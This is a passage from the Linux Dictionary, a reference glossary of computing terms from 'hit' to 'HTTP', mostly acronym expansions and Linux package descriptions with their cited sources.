As used in reference to the World Wide Web, ?hit? means a single request from a web browser for a single item from a web server; thus in order for a web browser to display a page that contains 3 graphics, 4 ?hits? would occur at the server: 1 for the HTML page, and one for each of the 3 graphics.

From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hitop

A high-level website description language Hitop is an HTML preprocessor and website design tool. It helps you to produce consistent, accessible, attractive, navigable and maintainable websites. From

Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hlatex

LaTeX Korean support HLaTeX is a LaTeX package use Hangul with LaTeX. With this package, you can run latex on KS X 1001 based Korean LaTeX file to produce a professionally looking Korean documents. You can typeset all Korean characters defined in KS X 1001, including Korean Symbol, Hangul and Hanja. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hfl

High Level Firewall Language HLFL translates your high level language firewalling rules into usable rules for ipfw, IPFilter, ipfwadm, IPChains, Netfilter, and Cisco. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hlins

Insert URLs into html documents Hlins is a tool to insert hypertext links into HTML documents, using a database with entries of the form "name = url". It is designed for inserting URLs of real persons: it knows about abbreviations of first and middle names and tolerates dropping the second part of a composite last name. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HLL

High Level Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HLLAPI

High Level Language Application Programming Interface (IBM, API) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HLPI

Higher Layer Protocol Identifier From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HLR

Home Location Register (LR, GSM, GPRS, mobile-systems) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HLS

Hue, Luminance, Saturation (color system, DTP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HMA

High Memory Area From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HMAC

keyed-Hashing for Message Authenticiation (cryptography, RFC 2104) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HMC

Highspeed Memory Controller (Apple) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HMD

Head Mounted Display (VR) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HMI

Human-Machine Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hmmer

models protein or nucleic acid sequences. Hmmer is a suite of programs which use profile hidden Markov models (profile HMMs) to model the primary structure consensus of a family of protein or nucleic acid sequences. Homepage: <http://hmmer.wustl.edu/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HMMP

HyperMedia Management Protocol (MS, Intel, Cisco, WWW, HMMS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HMMS

HyperMedia Management Schema (MS, Intel, Cisco, WWW) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HMOS

High performance Metal Oxide Semiconductor (IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HMP

Host Monitoring Protocol (RFC 869) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HMUX

Hybrid MULTipleXer (FDDI, "H-MUX" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hnb

Hierarchical notebook Hnb is an ncurses program to organize many kinds of data in one place, for example addresses, todo lists, ideas, book reviews or to store snippets of brainstorming, to make a structured packing list or just to take random notes. It can export ascii, html and xml, supports todo checkboxes, checkbox trees with percentages, priorities, preferences, searching and more. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HNF

Heinz Nixdorf Museumsforum (org., Paderborn, Germany) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HNI

Heinz Nixdorf Institut (org., ZIT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hns2-cgi

Hyper Nikki System (CGI) HNS(Hyper Nikki System, Nikki means "Diary" in Japanese) is a set of CGI scripts which can generate HTML-based web diary a la Slashdot/Advogato from its own very simple meta files (hnf). HNS takes care of complicated, diary-specific operations such as date handling, URL anchor, etc. so keeping your diary with HNS is much easier than writing HTML by hand. This package provides main cgi scripts. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hns2-tools

Hyper Nikki System tools for editing diary. HNS(Hyper Nikki System, Nikki means "Diary" in Japanese) is a set of CGI scripts which can generate HTML-based web diary a la Slashdot/Advogato from its own very simple meta files (hnf). HNS takes care of complicated, diary-specific operations such as date handling, URL anchor, etc. so keeping your diary with HNS is much easier than writing

HTML by hand. This package provides tools for editing diary. todayhns, edit the diary of today wrapper script. hnf-mode, major mode for emacs to edit hnf file. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HOD

Host On Demand (IBM, HOD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hodie

prints the date in latin hodie has the same functionality as the date (1) program, only it prints it in grammatically correct latin From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HOL

Head Of Line From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HOLAP

Hybrid OnLine Analytical Processing (OLAP, DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hole

n. A region in an otherwise flat entity which is not actually present. For example, some Unix filesystems can store large files with holes so that unused regions of the file are never actually stored on disk. (In techspeak, these are referred to as 'sparse' files.) As another example, the region of memory in IBM PCs reserved for memory-mapped I/O devices which may not actually be present is called 'the I/O hole', since memory-management systems must skip over this area when filling user requests for memory. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HOLON Linux

HOLON Linux is aimed at mass consumers. It is developed by HOLON Inc. (in Japan). They did a TV commercial, which was (and is) an unprecedented promotion in Japan. Their server version received a "Good Design Award" by the Ministry of International Trade and Industry in Japan. Their desktop version product includes 2.8GB of commercial and multimedia applications. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Home

A directory or WWW page that is 'owned' by a user is often referred to as their 'home directory' or 'home page'. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Home Directory

The directory the user is placed in after logging on. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

home directory

the directory you are placed in immediately after you log in to the system. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Home Page (or Homepage)

Several meanings. Originally, the web page that your browser is set to use when it starts up. The more common meaning refers to the main web page for a business, organization, person or simply the main page out of a collection of web pages, e.g. "Check out so-and-so's new Home Page." From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Home Page or Homepage

the top level hypertext document in a collection of pages or web site. Often uses index.html as file name. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HOMERF

Home Radio Frequency (WLAN), "HomeRF" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Hook

Linux Dictionary

A feature included in a software or hardware product to enable hobbyists and programmers to add their own custom features. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hook

n. A software or hardware feature included in order to simplify later additions or changes by a user. For example, a simple program that prints numbers might always print them in base 10, but a more flexible version would let a variable determine what base to use; setting the variable to 5 would make the program print numbers in base 5. The variable is a simple hook. An even more flexible program might examine the variable and treat a value of 16 or less as the base to use, but treat any other number as the address of a user-supplied routine for printing a number. This is a hairy but powerful hook; one can then write a routine to print numbers as Roman numerals, say, or as Hebrew characters, and plug it into the program through the hook. Often the difference between a good program and a superb one is that the latter has useful hooks in judiciously chosen places. Both may do the original job about equally well, but the one with the hooks is much more flexible for future expansion of capabilities (EMACS, for example, is all hooks). The term `user exit' is synonymous but much more formal and less hackish. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hook

The technique of inserting code into a system call in order to alter it. The typical hook works by replacing the function pointer to the call with its own, then once it is done doing its processing, it will then call the original function pointer. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HOOPS

Hierarchical Object Orientated Picture System (Ithaca, Autodesk, OOP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HOP

Homecast Open Protocol (WLAN, Alation Systems) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

horde

Core elements for the Horde Web Application Suite A set of PHP3 scripts that implement an web based application suite. This package is required to run other programs such as IMP which is a web based IMAP client. Other applications will follow as soon as they are functional. PLEASE NOTE, you must have either a database setup locally or remotely prior to installing this package otherwise the install could fail. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

host

A computer system that is connected to a network and communicates with other systems. Hosts are usually assigned unique addresses or names to distinguish one host from another. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

host

A physical or virtual device with a "host" internet address, like 123.2.3.4. That is, not a network address like 123.2.0.0 . Typically, the device is a network interface device like an Ethernet card or a PPP controlled serial interface. Often, a computer is connected via only one such device, and it is thus natural to speak of "host" and "computer" synonymously and it is often done. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Host

Any computer on a network that is a repository for services available to other computers on the network. It is quite common to have one host machine provide several services, such as SMTP (email) and HTTP (web). From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

host

DNS lookup utility From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Host

In the Internet, any computer that can function as the beginning and end point of data transfers. An Internet host has a unique Internet address (called an IP address) and a unique domain name. In networks and telecommunications generally, the computer that performs centralised functions such as making program or data files available to other computers. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

host

Utility for Querying DNS Servers 'host' is a utility, similar to 'nslookup' (deprecated) or 'dig', used to query DNS servers for domain names and zones. This package provides the original version of 'host', originally in the package 'dnsutils'. BIND9 provides a similar utility, in 'bind9-host'. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hostid

print the numeric identifier for the current host From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hostname

A name assigned or configured to a host on a network. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hostname

A utility to set/show the host name or domain name The hostname command can be used to either set or display the current host or domain name of the system. This name is used by many of the networking programs to identify the machine. The domain name is also used by NIS/YP. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hostname

show or set the system's host name From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hotkeys

A hotkeys daemon for your Internet/multimedia keyboard in X This program sits at the back and listens for the "special" hotkeys that you won't normally use on your Internet/Multimedia keyboards. The buttons perform their intended behaviors, such as volume up and down, mute the speaker, launch applications, etc. It has On-screen display (OSD) to show the volume, program that's being started, etc. It features an XML-based keycode configuration file format, which makes it possible to define the hotkeys to launch any programs you want. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hotplug

Linux Hotplug Scripts This package contains the scripts necessary for hotplug Linux support, and lets you plug in new devices and use them immediately. Initially, it includes support for USB and PCI (Cardbus) devices, and can automatically configure network interfaces. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hotplug

The term "hotplugging" refers to the dynamic reconfiguration performed after a device has been attached to a running system. This package contains the application which is called by the kernel when a USB device is added; hotplug then loads the required modules for that device. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hotplug

This package contains the scripts necessary for hotplug Linux support, and lets you plug in new devices and use them immediately. Initially, it includes support for USB and PCI (Cardbus) devices, and can automatically configure network interfaces. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hotplug-utils

Linux Hotplug utility programs This package contains some utilities for hotplug Linux support, fxload hotplug demon. This program is conveniently able to download firmware into FX and FX2 ez-usb

devices. It is intended to be invoked by hotplug scripts when the unprogrammed device appears on the bus. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hover

To place the mouse cursor over the panel or desktop object. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HOWTO

A freely distributable document that describes in detail how to set up or configure a Linux component. It is often the best starting point for a beginner. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

howto-html-en

Linux HOWTOs are detailed documents which describe a specific aspect of configuring or using Linux. Linux HOWTOs are a great source of practical information about your system. The latest versions of these documents are located at <http://www.linuxdoc.org/docs.html#howto> From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

howto-utils

Linux HOWTOs are parts of the Linux Documentation Project. They are detailed documents which describe a specific aspect of configuring or using Linux. Linux HOWTOs are a great source of practical information about your system. The latest versions of these documents are located at <http://www.linuxdoc.org/docs.html#howto> Currently, available tools are :- makehowtoindex is an index generator for html formatted HOWTO documents- mirror_howtos mirror howtos and mini-howtos- untar_howtos process a howto mirror (obtained by mirror_howtos) From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HP

Hewlett Packard (manufacturer) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hp-ppd

HP Postscript Printer Definition (PPD) files Because PostScript is a device independent page description language, there is a need to provide a mechanism for a print spooler to customize the PostScript Job to the actual device. PPD, PostScript Printer Definitions, specify the device specific PostScript commands to access device specific features. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hp2xx

A HPGL converter into some vector- and raster formats HP2XX reads HPGL ASCII source files, interprets them, and converts them into either another vector-oriented format or one of several rasterfile formats. Currently, its HPGL parser recognizes a subset of the HP 7550A command set. Some high-level functions are missing. Also, only some of the fixed space vector fonts and none of the variable space arc fonts are supported. Beside these limitations, hp2xx has proven to work with many HP-GL sources without any trouble. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hp48cc

C-like compiler which produces HP48 RPN `hp48cc' is a C-like compiler that translates the input code into the HP48 RPN language. The language recognized by the compiler is only a small subset of the C language, with some non-standard extensions, but powerful enough to write complex programs simply. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPA

High Performance Architecture (HP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPBIDS

Hewlett Packard Broadband Internet Delivery System (HP, Internet), "HP BIDS" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPC

H

Linux Dictionary

Handheld Personal Computer (PC), "H/PC" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPC

High Performance Computing From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPCC

High Performance Computing and Communication From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPCS

High Performance Communication Server (Tobit, NLM, Netware) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPF

High Performance FORTRAN (FORTRAN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPFS

High Performance FileSystem (OS/2) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPGL

Hewlett Packard Graphics Language (CAD, CAM, HP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPIB

Hewlett Packard Interface Bus (GPIB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hpijs

HP Inkjet Server – Ghostscript driver for HP inkjets This package contains the hpijs binary which provides Ghostscript with a driver for most inkjet manufactured by Hewlett Packard using the ijs interface. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hpijs

hpijs is a collection of optimized drivers for HP printers. hpijs supports the DeskJet 350C, 600C, 600C Photo, 630C, Apollo 2000, Apollo 2100, Apollo 2560, DeskJet 800C, DeskJet 825, DeskJet 900, PhotoSmart, DeskJet 990C, and PhotoSmart 100 series. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hping2

Active Network Smashing Tool hping2 is a network tool able to send custom ICMP/UDP/TCP packets and to display target replies like ping does with ICMP replies. It handles fragmentation and arbitrary packet body and size, and can be used to transfer files under supported protocols. Using hping2, you can: Test firewall rules, Perform [spoofed] port scanning, Test net performance using different protocols, Packet size, TOS (type of service), and Fragmentation, Do path MTU discovery, Transfer files (even between really Fascist firewall rules), Perform traceroute-like actions under different protocols, Fingerprint remote OSs, Audit a TCP/IP stack, etc. hping2 is a good tool for learning TCP/IP. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPM

Hyper Page Mode From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPMI

??? [Schnittstelle] (CAD), "HP-MI" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPNA

??? From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPOFS

High Performance Optical File System (IBM, OS/2, MOD) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hpoj

HP OfficeJet Linux driver (hpoj) This software provides Linux support for most "multi-function" (or "all-in-one") peripherals from Hewlett-Packard, including OfficeJet, LaserJet, and Printer/Scanner/Copier ("PSC") products. It consists of: – Low-level drivers and libraries to communicate with the device. Depending on your hardware and operating system configuration, you may connect devices directly to your workstation with a parallel port or USB (Universal Serial Bus), or to a LAN (Local Area Network) using certain models of HP JetDirect print servers. – An application programming interface (API) known as "PTAL" (Peripheral Transport Abstraction Library) that hides the differences in accessing devices connected via parallel, USB, or JetDirect. – Printing support, largely powered by ghostscript, the HP inkjet driver (for selected models), and one of various print spoolers (Berkeley lpd, gnulpr, LPRng, CUPS, PDQ, etc.) that may already be installed on your computer. – Scanning support, powered either by Scanner Access Now Easy (SANE) or by "ptal-hp scan", a command-line application provided with the hpoj package. – Graphical and command-line applications to access various features of the peripheral, such as displaying status of the device and setting the clock. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPPA

Hewlett Packard Precision Architecture (HP, RISC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPPCL

Hewlett Packard Printer Control Language From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPR

High Performance Routing From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPR

High Priority Request (VUMA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hpscanpbm

HP ScanJet scanning utility This program controls Hewlett-Packard ScanJet series scanners. It captures the image based on command-line parameters, and provides it as a thresholded, dithered, grayscale, or full-color Portable Pixmap. This is not a device driver; your ScanJet should be connected to a SCSI adapter that is supported by Linux (which does not include the card that came with the ScanJet). This program uses the generic SCSI interface, so this feature must be available in the kernel. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hpsockd

HP SOCKS server. Provides a SOCKS v5 server, with v4 support. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPTS

High Performance Transaction Systems From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPUX

Hewlett Packard / UniX (Unix), "HP/UX" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPVEE

Hewlett-Packard Visual Engineering Environment (HP, GUI), "HP VEE" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HPVUE

Hewlett Packard – Visual User Environment (HP, GUI), "HP-VUE" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HQX

A popular program for the Macintosh used to convert binary files so they can be sent as text, similar to (but incompatible with) uuencode. From KADOWKEV
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HR

High Rate (IEEE 802.11) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HRC

Hybrid Ring Control (FDDI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HRFWG

Home Radio Frequency Working Group (WLAN, HOMERF) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HS

High Speed (MODEM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSA

High Speed Access From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSB

Hue Saturation Brightness (DTP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSC

Hierarchical Storage Controller From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSC

HTML Sucks Completely (HTML, Amiga) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSCDS

High Speed Cable Data Services From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSCSD

High Speed Circuit Switched Data (GSM, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSDRAM

??? Random Access Memory (RAM, DRAM, IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSFS

High Sierra File System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

hsftp

FTP emulator which uses ssh as end-to-end transport hsftp is an ftp emulator that provides the look-and-feel of an ftp session, but uses ssh to transport commands and data. No dedicated daemon (apart from sshd) is required. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSI

High Speed Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSI

Hue, Saturation, Intensity (DTP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSIS

??? High Speed Interface / SNA, "HSI/S" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSLAN

Linux Dictionary

High Speed Local Area Network, "HS-LAN" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSLFX

??? [hardware description language] (HDL, NTT, LSI), "HSL-FX" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HSLN

High Speed Local Network From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HST

High Speed Technology (US Robotics) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HT

Horizontal Tab From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ht

Viewer/editor/analyser (mostly) for executables This is HT, including HT-analyser; please note that this is a BETA version of the program. Therefore HT is incomplete and sometimes buggy. For more

H

info (e.g. keybindings) see the README file! 1. Supported file formats – common object file format (COFF) – executable and linkable format (ELF) – linear executables (LE) – standard DOS executables (MZ) – new executables (NE) – portable executables (PE) 2. Code & Data Analyser – finds branch sources and destinations recursively – finds procedure entries – creates labels based on this information – creates xref information – allows to interactively analyse unexplored code – allows to create/rename/delete labels 3. Target systems – GNU/Linux – FreeBSD – DJGPP – Win32 From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

htag

A tagline adder for email, news and FidoNet messages. htag is a tagline adder but it has now been so over engineered that it will also do anything you want it to[0], do lots of stuff I want it to, and do stuff it wants to. [0] Or at least it will if you write the appropriate plugin. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

htcheck

Utility for checking web site for dead/external links ht://Check is more than a link checker. It's a console application written for Linux systems in C++ and derived from the best search engine available on the Internet for free (GNU GPL): ht://Dig. It can retrieve information through HTTP/1.1 and store them in a MySQL database, and it's particularly suitable for small Internet domains or Intranet. Its purpose is to help a webmaster managing one or more related sites: after a "crawl", ht://Check gives back very useful summaries and reports, including broken links, anchors not found, content-types and HTTP status codes summaries, etc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

htdig

The ht://Dig system is a Web search and indexing system for a small domain or intranet. This system is not meant to replace the need for powerful Internet-wide search systems; instead it is meant to cover the search needs for a single company, campus, or even a particular subsection of a website. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

htdig

WWW search system for an intranet or small internet The ht://Dig system is a complete world wide web indexing and searching system for a small domain or intranet. This system is not meant to replace the need for powerful internet-wide search systems like Lycos, Infoseek, Webcrawler and AltaVista. Instead it is meant to cover the search needs for a single company, campus, or even a particular subsection of a web site. As opposed to some WAIS-based or web-server based search engines, ht://Dig can span several web servers at a site. The type of these different web servers doesn't matter as long as they understand the HTTP 1.0 protocol. Features: * Intranet searching * It is free * Robot exclusion is supported * Boolean expression searching * Configurable search results * Fuzzy searching * Searching of HTML and text files * Keywords can be added to HTML documents * Email notification of expired documents * A Protected server can be indexed * Searches on subsections of the database * Full source code included * The depth of the search can be limited * Full support for the ISO-Latin-1 character set From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTDM

Hybrid Time Division Multiplexing [protocol] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTF

Hyper-g Text Format (Hyper-G) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

htget

a file grabber that will get files from HTTP servers HTGET is a file grabber that will get files from HTTP servers. The aim behind this program is to create a downloader that you can leave running in the background – one that's totally reliable and can cope with just about any problem, and won't stop downloading unless it's forced to. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTH

Hope This Helps (slang) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTML

HyperText Markup Language (Internet, WWW, SGML, RFC 1866/1942, HTML) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTML

See hypertext markup language (HTML). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTML (Hypertext Markup Language)

A set of conventions for marking the portions of a document so that, when accessed by a program called a parser, each portion appears with a distinctive format. HTML is the markup language behind the appearance of documents on the WWW (World Wide Web), and the parser programs for accessing these documents are called Webrowsers. A subset of the SGML (Standard Generalised Markup Language), HTML includes capabilities that enable authors to insert hyperlinks, which when clicked display another HTML document. The process of composing HTML text is called authoring. You can author HTML text by editing a plain-text document with a stand alone HTML editor, such as HTML assistant. In addition, add-on programs are available that provide HTML editing capabilities such as Bluefish. Unlike a word processing program's formatting codes, HTML codes – called tags – do not specify just how the tagged text is a certain portion of a document, such as a title, heading, or body text. The parser decides how to format the text. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

html2ps

HTML to PostScript converter This program converts HTML directly to PostScript. The HTML code can be retrieved from one or more URLs or local files, specified as parameters on the command line. A comprehensive level of HTML is supported, including inline images, CSS1, and some features of HTML 4.0. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

html2text

An advanced HTML to text converter. html2text was written because the author wasn't happy with the output of "lynx -dump" and so he wrote something better. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

html2wml

converts HTML pages to WML (WAP) pages Html2Wml converts HTML pages to WML pages, suitable for being viewed on a Wap device. The conversion can be done either on the command line to create static WML pages or on-the-fly by calling this program as a CGI. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

htmldoc

HTML processor that generates indexed HTML, PS, and PDF. HTMLDOC is a program for writing documentation in HTML and producing indexed HTML, PostScript, or PDF output (with tables of contents). It supports most HTML 3.2 and some HTML 4.0 syntax, as well as GIF, JPEG, and PNG images. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

htmlgen

Generation of HTML documents with Python scripts. HTMLgen is a class library for the generation of HTML documents with Python scripts. It's used when you want to create HTML pages containing information which changes from time to time. For example you might want to have a page which provides an overall system summary of data collected nightly. Or maybe you have a catalog of data and images that you would like formed into a spiffy set of web pages for the world to browse. Python is a great scripting language for these tasks and with HTMLgen it's very straightforward to construct objects which are rendered into consistently structured web pages. Of course, CGI scripts written in Python can take advantage of these classes as well. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

htmlheadline

script that automatically fetches news headlines, and browses on Browser HtmlHeadLine.sh is a script that automatically fetches news headlines. Basic features: One shell only. Title, Link, Description, HP, ChangeLog, DL of headline on netscape. 'Desc_' means Description show/hide on mouse. It is easy to modify if you know awk. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

htmltoc

add table of contents to HTML document From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

htmlview

The htmlview utility uses an installed and preferred HTML viewer to display a local HTML page. It is used by several configuration tools to display their help pages. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

htp

An HTML pre-processor htp is an HTML pre-processor. It is designed to be a flexible authoring tool that can easily be integrated into the HTML design process. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTPS

High Temperature PolySilicon From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTSI

Host Transport Service Interface (ICC, CT-API) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTTP

HyperText Transfer Protocol (WWW, RFC 2068) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTTP

See hypertext transfer protocol (http). From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

HTTP (Hypertext Transfer Protocol)

